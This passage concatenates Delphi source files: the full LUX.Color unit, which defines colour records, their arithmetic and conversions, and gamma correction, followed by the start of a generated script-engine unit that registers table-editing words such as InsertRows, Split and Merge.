{$IfEnd} // NOT Defined(Admin) AND NOT Defined(Monitorings) AND NOT Defined(NoScripts) AND NOT Defined(NoVCL)
end.
|
unit LUX.Color;
interface //#################################################################### ■
uses System.UITypes,
LUX;
type //$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$【型】
//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$【レコード】
//%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TByteRGBA
TByteRGBA = packed record
private
public
{$IFDEF BIGENDIAN}
A :Byte;
R :Byte;
G :Byte;
B :Byte;
{$ELSE}
B :Byte;
G :Byte;
R :Byte;
A :Byte;
{$ENDIF}
/////
constructor Create( const R_,G_,B_:Byte; const A_:Byte = $FF );
///// プロパティ
///// 演算子
///// 型変換
class operator Implicit( const C_:TByteRGBA ) :TAlphaColor;
end;
//%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TByteRGB
TByteRGB = packed record
private
public
{$IFDEF BIGENDIAN}
R :Byte;
G :Byte;
B :Byte;
{$ELSE}
B :Byte;
G :Byte;
R :Byte;
{$ENDIF}
/////
constructor Create( const R_,G_,B_:Byte );
///// プロパティ
///// 演算子
class operator IntDivide( const A_:TByteRGB; const B_:Integer ): TByteRGB;
///// 型変換
class operator Implicit( const L_:Byte ) :TByteRGB;
class operator Implicit( const C_:TByteRGB ) :TByteRGBA;
class operator Implicit( const C_:TByteRGB ) :TAlphaColor;
end;
/////////////////////////////////////////////////////////////////////////// TRGB
TRGB = TByteRGB;
//%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TSingleRGB
TSingleRGB = packed record
private
///// アクセス
function GetSiz2 :Single;
function GetSize :Single;
public
R :Single;
G :Single;
B :Single;
/////
constructor Create( const R_,G_,B_:Single );
///// プロパティ
property Siz2 :Single read GetSiz2;
property Size :Single read GetSize;
///// 演算子
class operator Negative( const V_:TSingleRGB ) :TSingleRGB;
class operator Positive( const V_:TSingleRGB ) :TSingleRGB;
class operator Add( const A_,B_:TSingleRGB ) :TSingleRGB;
class operator Subtract( const A_,B_:TSingleRGB ) :TSingleRGB;
class operator Multiply( const A_,B_:TSingleRGB ) :TSingleRGB;
class operator Multiply( const A_:Single; const B_:TSingleRGB ): TSingleRGB;
class operator Multiply( const A_:TSingleRGB; const B_:Single ): TSingleRGB;
class operator Divide( const A_:TSingleRGB; const B_:Single ): TSingleRGB;
///// 型変換
class operator Implicit( const C_:Single ) :TSingleRGB;
class operator Implicit( const C_:TAlphaColor ) :TSingleRGB;
class operator Implicit( const C_:TSingleRGB ) :TAlphaColor;
class operator Implicit( const C_:TByteRGB ) :TSingleRGB;
class operator Implicit( const C_:TSingleRGB ) :TByteRGB;
end;
//%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TSingleRGBA
TSingleRGBA = packed record
private
///// アクセス
function GetSiz2 :Single;
function GetSize :Single;
public
R :Single;
G :Single;
B :Single;
A :Single;
/////
constructor Create( const R_,G_,B_:Single; const A_:Single = 1 );
///// プロパティ
property Siz2 :Single read GetSiz2;
property Size :Single read GetSize;
///// 演算子
class operator Negative( const V_:TSingleRGBA ) :TSingleRGBA;
class operator Positive( const V_:TSingleRGBA ) :TSingleRGBA;
class operator Add( const A_,B_:TSingleRGBA ) :TSingleRGBA;
class operator Subtract( const A_,B_:TSingleRGBA ) :TSingleRGBA;
class operator Multiply( const A_,B_:TSingleRGBA ) :TSingleRGBA;
class operator Multiply( const A_:Single; const B_:TSingleRGBA ): TSingleRGBA;
class operator Multiply( const A_:TSingleRGBA; const B_:Single ): TSingleRGBA;
class operator Divide( const A_:TSingleRGBA; const B_:Single ): TSingleRGBA;
///// 型変換
class operator Implicit( const C_:Single ) :TSingleRGBA;
class operator Implicit( const C_:TAlphaColor ) :TSingleRGBA;
class operator Implicit( const C_:TSingleRGBA ) :TAlphaColor;
class operator Implicit( const C_:TByteRGBA ) :TSingleRGBA;
class operator Implicit( const C_:TSingleRGBA ) :TByteRGBA;
class operator Implicit( const C_:TSingleRGB ) :TSingleRGBA;
class operator Implicit( const C_:TSingleRGBA ) :TSingleRGB;
end;
//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$【クラス】
//const //$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$【定数】
//var //$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$【変数】
//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$【ルーチン】
function Ave( const C1_,C2_:TSingleRGB ) :TSingleRGB; overload;
function Ave( const C1_,C2_:TSingleRGBA ) :TSingleRGBA; overload;
function Distanc2( const C1_,C2_:TSingleRGB ) :Single; overload;
function Distanc2( const C1_,C2_:TSingleRGBA ) :Single; overload;
function Distance( const C1_,C2_:TSingleRGB ) :Single; overload;
function Distance( const C1_,C2_:TSingleRGBA ) :Single; overload;
function GammaCorrect( const C_:TSingleRGB; const G_:Single ) :TSingleRGB; overload;
function GammaCorrect( const C_:TSingleRGBA; const G_:Single ) :TSingleRGBA; overload;
implementation //############################################################### ■
uses System.Math;
//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$【レコード】
//%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TByteRGBA
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& private
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& public
constructor TByteRGBA.Create( const R_,G_,B_:Byte; const A_:Byte = $FF );
begin
R := R_;
G := G_;
B := B_;
A := A_;
end;
///////////////////////////////////////////////////////////////////////// 演算子
///////////////////////////////////////////////////////////////////////// 型変換
class operator TByteRGBA.Implicit( const C_:TByteRGBA ) :TAlphaColor;
begin
Result := PAlphaColor( @C_ )^;
end;
//%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TByteRGB
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& private
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& public
constructor TByteRGB.Create( const R_,G_,B_:Byte );
begin
R := R_;
G := G_;
B := B_;
end;
///////////////////////////////////////////////////////////////////////// 演算子
class operator TByteRGB.IntDivide( const A_:TByteRGB; const B_:Integer ): TByteRGB;
begin
with Result do
begin
R := A_.R div B_;
G := A_.G div B_;
B := A_.B div B_;
end;
end;
///////////////////////////////////////////////////////////////////////// 型変換
class operator TByteRGB.Implicit( const L_:Byte ) :TByteRGB;
begin
with Result do
begin
R := L_;
G := L_;
B := L_;
end;
end;
class operator TByteRGB.Implicit( const C_:TByteRGB ) :TByteRGBA;
begin
with Result do
begin
A := $FF;
R := C_.R;
G := C_.G;
B := C_.B;
end;
end;
class operator TByteRGB.Implicit( const C_:TByteRGB ) :TAlphaColor;
begin
Result := TByteRGBA( C_ );
end;
//%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TSingleRGB
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& private
/////////////////////////////////////////////////////////////////////// アクセス
function TSingleRGB.GetSiz2 :Single;
begin
Result := Pow2( R ) + Pow2( G ) + Pow2( B );
end;
function TSingleRGB.GetSize :Single;
begin
Result := Roo2( GetSiz2 );
end;
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& public
constructor TSingleRGB.Create( const R_,G_,B_:Single );
begin
R := R_;
G := G_;
B := B_;
end;
///////////////////////////////////////////////////////////////////////// 演算子
class operator TSingleRGB.Negative( const V_:TSingleRGB ) :TSingleRGB;
begin
with Result do
begin
R := -V_.R;
G := -V_.G;
B := -V_.B;
end;
end;
class operator TSingleRGB.Positive( const V_:TSingleRGB ) :TSingleRGB;
begin
with Result do
begin
R := +V_.R;
G := +V_.G;
B := +V_.B;
end;
end;
class operator TSingleRGB.Add( const A_,B_:TSingleRGB ) :TSingleRGB;
begin
with Result do
begin
R := A_.R + B_.R;
G := A_.G + B_.G;
B := A_.B + B_.B;
end;
end;
class operator TSingleRGB.Subtract( const A_,B_:TSingleRGB ) :TSingleRGB;
begin
with Result do
begin
R := A_.R - B_.R;
G := A_.G - B_.G;
B := A_.B - B_.B;
end;
end;
class operator TSingleRGB.Multiply( const A_,B_:TSingleRGB ) :TSingleRGB;
begin
with Result do
begin
R := A_.R * B_.R;
G := A_.G * B_.G;
B := A_.B * B_.B;
end;
end;
class operator TSingleRGB.Multiply( const A_:Single; const B_:TSingleRGB ): TSingleRGB;
begin
with Result do
begin
R := A_ * B_.R;
G := A_ * B_.G;
B := A_ * B_.B;
end;
end;
class operator TSingleRGB.Multiply( const A_:TSingleRGB; const B_:Single ): TSingleRGB;
begin
with Result do
begin
R := A_.R * B_;
G := A_.G * B_;
B := A_.B * B_;
end;
end;
class operator TSingleRGB.Divide( const A_:TSingleRGB; const B_:Single ): TSingleRGB;
begin
with Result do
begin
R := A_.R / B_;
G := A_.G / B_;
B := A_.B / B_;
end;
end;
///////////////////////////////////////////////////////////////////////// 型変換
class operator TSingleRGB.Implicit( const C_:Single ) :TSingleRGB;
begin
with Result do
begin
R := C_;
G := C_;
B := C_;
end;
end;
class operator TSingleRGB.Implicit( const C_:TAlphaColor ) :TSingleRGB;
begin
Result := TByteRGB( C_ );
end;
class operator TSingleRGB.Implicit( const C_:TSingleRGB ) :TAlphaColor;
begin
Result := TByteRGB( C_ );
end;
class operator TSingleRGB.Implicit( const C_:TByteRGB ) :TSingleRGB;
begin
with Result do
begin
R := C_.R / 255;
G := C_.G / 255;
B := C_.B / 255;
end;
end;
class operator TSingleRGB.Implicit( const C_:TSingleRGB ) :TByteRGB;
begin
with Result do
begin
R := ClipRange( Round( 255 * C_.R ), 0, 255 );
G := ClipRange( Round( 255 * C_.G ), 0, 255 );
B := ClipRange( Round( 255 * C_.B ), 0, 255 );
end;
end;
//%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TSingleRGBA
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& private
/////////////////////////////////////////////////////////////////////// アクセス
function TSingleRGBA.GetSiz2 :Single;
begin
Result := Pow2( R ) + Pow2( G ) + Pow2( B ) + Pow2( A );
end;
function TSingleRGBA.GetSize :Single;
begin
Result := Roo2( GetSiz2 );
end;
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& public
constructor TSingleRGBA.Create( const R_,G_,B_:Single; const A_:Single = 1 );
begin
R := R_;
G := G_;
B := B_;
A := A_;
end;
///////////////////////////////////////////////////////////////////////// 演算子
class operator TSingleRGBA.Negative( const V_:TSingleRGBA ) :TSingleRGBA;
begin
with Result do
begin
R := -V_.R;
G := -V_.G;
B := -V_.B;
A := -V_.A;
end;
end;
class operator TSingleRGBA.Positive( const V_:TSingleRGBA ) :TSingleRGBA;
begin
with Result do
begin
R := +V_.R;
G := +V_.G;
B := +V_.B;
A := +V_.A;
end;
end;
class operator TSingleRGBA.Add( const A_,B_:TSingleRGBA ) :TSingleRGBA;
begin
with Result do
begin
R := A_.R + B_.R;
G := A_.G + B_.G;
B := A_.B + B_.B;
A := A_.A + B_.A;
end;
end;
class operator TSingleRGBA.Subtract( const A_,B_:TSingleRGBA ) :TSingleRGBA;
begin
with Result do
begin
R := A_.R - B_.R;
G := A_.G - B_.G;
B := A_.B - B_.B;
A := A_.A - B_.A;
end;
end;
class operator TSingleRGBA.Multiply( const A_,B_:TSingleRGBA ) :TSingleRGBA;
begin
with Result do
begin
R := A_.R * B_.R;
G := A_.G * B_.G;
B := A_.B * B_.B;
A := A_.A * B_.A;
end;
end;
class operator TSingleRGBA.Multiply( const A_:Single; const B_:TSingleRGBA ): TSingleRGBA;
begin
with Result do
begin
R := A_ * B_.R;
G := A_ * B_.G;
B := A_ * B_.B;
A := A_ * B_.A;
end;
end;
class operator TSingleRGBA.Multiply( const A_:TSingleRGBA; const B_:Single ): TSingleRGBA;
begin
with Result do
begin
R := A_.R * B_;
G := A_.G * B_;
B := A_.B * B_;
A := A_.A * B_;
end;
end;
class operator TSingleRGBA.Divide( const A_:TSingleRGBA; const B_:Single ): TSingleRGBA;
begin
with Result do
begin
R := A_.R / B_;
G := A_.G / B_;
B := A_.B / B_;
A := A_.A / B_;
end;
end;
///////////////////////////////////////////////////////////////////////// 型変換
class operator TSingleRGBA.Implicit( const C_:Single ) :TSingleRGBA;
begin
with Result do
begin
R := C_;
G := C_;
B := C_;
A := 1;
end;
end;
class operator TSingleRGBA.Implicit( const C_:TAlphaColor ) :TSingleRGBA;
begin
Result := TByteRGBA( C_ );
end;
class operator TSingleRGBA.Implicit( const C_:TSingleRGBA ) :TAlphaColor;
begin
Result := TByteRGBA( C_ );
end;
class operator TSingleRGBA.Implicit( const C_:TByteRGBA ) :TSingleRGBA;
begin
with Result do
begin
R := C_.R / 255;
G := C_.G / 255;
B := C_.B / 255;
A := C_.A / 255;
end;
end;
class operator TSingleRGBA.Implicit( const C_:TSingleRGBA ) :TByteRGBA;
begin
with Result do
begin
R := ClipRange( Round( 255 * C_.R ), 0, 255 );
G := ClipRange( Round( 255 * C_.G ), 0, 255 );
B := ClipRange( Round( 255 * C_.B ), 0, 255 );
A := ClipRange( Round( 255 * C_.A ), 0, 255 );
end;
end;
class operator TSingleRGBA.Implicit( const C_:TSingleRGB ) :TSingleRGBA;
begin
with Result do
begin
R := C_.R;
G := C_.G;
B := C_.B;
A := 1;
end;
end;
class operator TSingleRGBA.Implicit( const C_:TSingleRGBA ) :TSingleRGB;
begin
with Result do
begin
R := C_.R;
G := C_.G;
B := C_.B;
end;
end;
//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$【クラス】
//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$【ルーチン】
function Ave( const C1_,C2_:TSingleRGB ) :TSingleRGB;
begin
Result := ( C1_ + C2_ ) / 2;
end;
function Ave( const C1_,C2_:TSingleRGBA ) :TSingleRGBA;
begin
Result := ( C1_ + C2_ ) / 2;
end;
//------------------------------------------------------------------------------
function Distanc2( const C1_,C2_:TSingleRGB ) :Single;
begin
Result := Pow2( C2_.R - C1_.R )
+ Pow2( C2_.G - C1_.G )
+ Pow2( C2_.B - C1_.B );
end;
function Distanc2( const C1_,C2_:TSingleRGBA ) :Single;
begin
Result := Pow2( C2_.R - C1_.R )
+ Pow2( C2_.G - C1_.G )
+ Pow2( C2_.B - C1_.B );
end;
function Distance( const C1_,C2_:TSingleRGB ) :Single;
begin
Result := Roo2( Distanc2( C1_, C2_ ) );
end;
function Distance( const C1_,C2_:TSingleRGBA ) :Single;
begin
Result := Roo2( Distanc2( C1_, C2_ ) );
end;
//------------------------------------------------------------------------------
function GammaCorrect( const C_:TSingleRGB; const G_:Single ) :TSingleRGB;
var
RecG :Single;
begin
RecG := 1 / G_;
with Result do
begin
R := Power( C_.R, RecG );
G := Power( C_.G, RecG );
B := Power( C_.B, RecG );
end;
end;
function GammaCorrect( const C_:TSingleRGBA; const G_:Single ) :TSingleRGBA;
var
RecG :Single;
begin
RecG := 1 / G_;
with Result do
begin
R := Power( C_.R, RecG );
G := Power( C_.G, RecG );
B := Power( C_.B, RecG );
A := C_.A ;
end;
end;
//############################################################################## □
initialization //$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 初期化
finalization //$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 最終化
end. //######################################################################### ■
|
unit IedTableWordsPack;
// Модуль: "w:\common\components\rtl\Garant\ScriptEngine\IedTableWordsPack.pas"
// Стереотип: "ScriptKeywordsPack"
// Элемент модели: "IedTableWordsPack" MUID: (55E5A6200262)
{$Include w:\common\components\rtl\Garant\ScriptEngine\seDefine.inc}
interface
{$If NOT Defined(NoScripts)}
uses
l3IntfUses
, evEditorInterfaces
, l3Variant
, k2Interfaces
, nevBase
, nevTools
;
{$IfEnd} // NOT Defined(NoScripts)
implementation
{$If NOT Defined(NoScripts)}
uses
l3ImplUses
, tfwClassLike
, tfwScriptingInterfaces
, TypInfo
, tfwPropertyLike
, tfwTypeInfo
, SysUtils
, TtfwTypeRegistrator_Proxy
, tfwScriptingTypes
//#UC START# *55E5A6200262impl_uses*
//#UC END# *55E5A6200262impl_uses*
;
type
TkwPopTableInsertRows = {final} class(TtfwClassLike)
{* Слово скрипта pop:Table:InsertRows }
private
function InsertRows(const aCtx: TtfwContext;
const aTable: IedTable;
NumRows: Integer): Boolean;
{* Реализация слова скрипта pop:Table:InsertRows }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopTableInsertRows
TkwPopTableSplit = {final} class(TtfwClassLike)
{* Слово скрипта pop:Table:Split }
private
function Split(const aCtx: TtfwContext;
const aTable: IedTable): Boolean;
{* Реализация слова скрипта pop:Table:Split }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopTableSplit
TkwPopTableMerge = {final} class(TtfwClassLike)
{* Слово скрипта pop:Table:Merge }
private
function Merge(const aCtx: TtfwContext;
const aTable: IedTable): Boolean;
{* Реализация слова скрипта pop:Table:Merge }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopTableMerge
TkwPopTableDelete = {final} class(TtfwClassLike)
{* Слово скрипта pop:Table:Delete }
private
function Delete(const aCtx: TtfwContext;
const aTable: IedTable): Boolean;
{* Реализация слова скрипта pop:Table:Delete }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopTableDelete
TkwPopTableRowCount = {final} class(TtfwClassLike)
{* Слово скрипта pop:Table:RowCount }
private
function RowCount(const aCtx: TtfwContext;
const aTable: IedTable): Integer;
{* Реализация слова скрипта pop:Table:RowCount }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopTableRowCount
TkwPopTableCell = {final} class(TtfwClassLike)
{* Слово скрипта pop:Table:Cell }
private
function Cell(const aCtx: TtfwContext;
const aTable: IedTable): IedCell;
{* Реализация слова скрипта pop:Table:Cell }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopTableCell
TkwPopTableCells = {final} class(TtfwClassLike)
{* Слово скрипта pop:Table:Cells }
private
function Cells(const aCtx: TtfwContext;
const aTable: IedTable): IedCells;
{* Реализация слова скрипта pop:Table:Cells }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopTableCells
TkwPopTableColumn = {final} class(TtfwClassLike)
{* Слово скрипта pop:Table:Column }
private
function Column(const aCtx: TtfwContext;
const aTable: IedTable): IedColumn;
{* Реализация слова скрипта pop:Table:Column }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopTableColumn
TkwPopTableColumnsIterator = {final} class(TtfwClassLike)
{* Слово скрипта pop:Table:ColumnsIterator }
private
function ColumnsIterator(const aCtx: TtfwContext;
const aTable: IedTable): IedColumnsIterator;
{* Реализация слова скрипта pop:Table:ColumnsIterator }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopTableColumnsIterator
TkwPopTableRowsIterator = {final} class(TtfwClassLike)
{* Слово скрипта pop:Table:RowsIterator }
private
function RowsIterator(const aCtx: TtfwContext;
const aTable: IedTable): IedRowsIterator;
{* Реализация слова скрипта pop:Table:RowsIterator }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopTableRowsIterator
TkwPopTableOldNSRC = {final} class(TtfwPropertyLike)
{* Слово скрипта pop:Table:OldNSRC }
private
function OldNSRC(const aCtx: TtfwContext;
const aTable: IedTable): Boolean;
{* Реализация слова скрипта pop:Table:OldNSRC }
protected
class procedure DoSetValue(const aTable: IedTable;
aValue: Boolean);
{* Метод установки значения свойства OldNSRC }
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
procedure SetValuePrim(const aValue: TtfwStackValue;
const aCtx: TtfwContext); override;
end;//TkwPopTableOldNSRC
function TkwPopTableInsertRows.InsertRows(const aCtx: TtfwContext;
const aTable: IedTable;
NumRows: Integer): Boolean;
{* Реализация слова скрипта pop:Table:InsertRows }
//#UC START# *55E5A6480145_55E5A6480145_4BBC910E0391_Word_var*
//#UC END# *55E5A6480145_55E5A6480145_4BBC910E0391_Word_var*
begin
//#UC START# *55E5A6480145_55E5A6480145_4BBC910E0391_Word_impl*
Result := aTable.InsertRows(NumRows);
//#UC END# *55E5A6480145_55E5A6480145_4BBC910E0391_Word_impl*
end;//TkwPopTableInsertRows.InsertRows
class function TkwPopTableInsertRows.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Table:InsertRows';
end;//TkwPopTableInsertRows.GetWordNameForRegister
function TkwPopTableInsertRows.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(Boolean);
end;//TkwPopTableInsertRows.GetResultTypeInfo
function TkwPopTableInsertRows.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 2;
end;//TkwPopTableInsertRows.GetAllParamsCount
function TkwPopTableInsertRows.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(IedTable), TypeInfo(Integer)]);
end;//TkwPopTableInsertRows.ParamsTypes
procedure TkwPopTableInsertRows.DoDoIt(const aCtx: TtfwContext);
var l_aTable: IedTable;
var l_NumRows: Integer;
begin
try
l_aTable := IedTable(aCtx.rEngine.PopIntf(IedTable));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aTable: IedTable : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
try
l_NumRows := aCtx.rEngine.PopInt;
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра NumRows: Integer : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushBool(InsertRows(aCtx, l_aTable, l_NumRows));
end;//TkwPopTableInsertRows.DoDoIt
function TkwPopTableSplit.Split(const aCtx: TtfwContext;
const aTable: IedTable): Boolean;
{* Реализация слова скрипта pop:Table:Split }
//#UC START# *55E5A65F0349_55E5A65F0349_4BBC910E0391_Word_var*
//#UC END# *55E5A65F0349_55E5A65F0349_4BBC910E0391_Word_var*
begin
//#UC START# *55E5A65F0349_55E5A65F0349_4BBC910E0391_Word_impl*
Result := aTable.Split(nil);
//#UC END# *55E5A65F0349_55E5A65F0349_4BBC910E0391_Word_impl*
end;//TkwPopTableSplit.Split
class function TkwPopTableSplit.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Table:Split';
end;//TkwPopTableSplit.GetWordNameForRegister
function TkwPopTableSplit.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(Boolean);
end;//TkwPopTableSplit.GetResultTypeInfo
function TkwPopTableSplit.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopTableSplit.GetAllParamsCount
function TkwPopTableSplit.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(IedTable)]);
end;//TkwPopTableSplit.ParamsTypes
procedure TkwPopTableSplit.DoDoIt(const aCtx: TtfwContext);
var l_aTable: IedTable;
begin
try
l_aTable := IedTable(aCtx.rEngine.PopIntf(IedTable));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aTable: IedTable : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushBool(Split(aCtx, l_aTable));
end;//TkwPopTableSplit.DoDoIt
function TkwPopTableMerge.Merge(const aCtx: TtfwContext;
const aTable: IedTable): Boolean;
{* Реализация слова скрипта pop:Table:Merge }
//#UC START# *55E5A66903D8_55E5A66903D8_4BBC910E0391_Word_var*
//#UC END# *55E5A66903D8_55E5A66903D8_4BBC910E0391_Word_var*
begin
//#UC START# *55E5A66903D8_55E5A66903D8_4BBC910E0391_Word_impl*
Result := aTable.Merge(nil);
//#UC END# *55E5A66903D8_55E5A66903D8_4BBC910E0391_Word_impl*
end;//TkwPopTableMerge.Merge
class function TkwPopTableMerge.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Table:Merge';
end;//TkwPopTableMerge.GetWordNameForRegister
function TkwPopTableMerge.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(Boolean);
end;//TkwPopTableMerge.GetResultTypeInfo
function TkwPopTableMerge.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopTableMerge.GetAllParamsCount
function TkwPopTableMerge.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(IedTable)]);
end;//TkwPopTableMerge.ParamsTypes
procedure TkwPopTableMerge.DoDoIt(const aCtx: TtfwContext);
var l_aTable: IedTable;
begin
try
l_aTable := IedTable(aCtx.rEngine.PopIntf(IedTable));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aTable: IedTable : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushBool(Merge(aCtx, l_aTable));
end;//TkwPopTableMerge.DoDoIt
function TkwPopTableDelete.Delete(const aCtx: TtfwContext;
const aTable: IedTable): Boolean;
{* Реализация слова скрипта pop:Table:Delete }
//#UC START# *55E5A68602F0_55E5A68602F0_4BBC910E0391_Word_var*
//#UC END# *55E5A68602F0_55E5A68602F0_4BBC910E0391_Word_var*
begin
//#UC START# *55E5A68602F0_55E5A68602F0_4BBC910E0391_Word_impl*
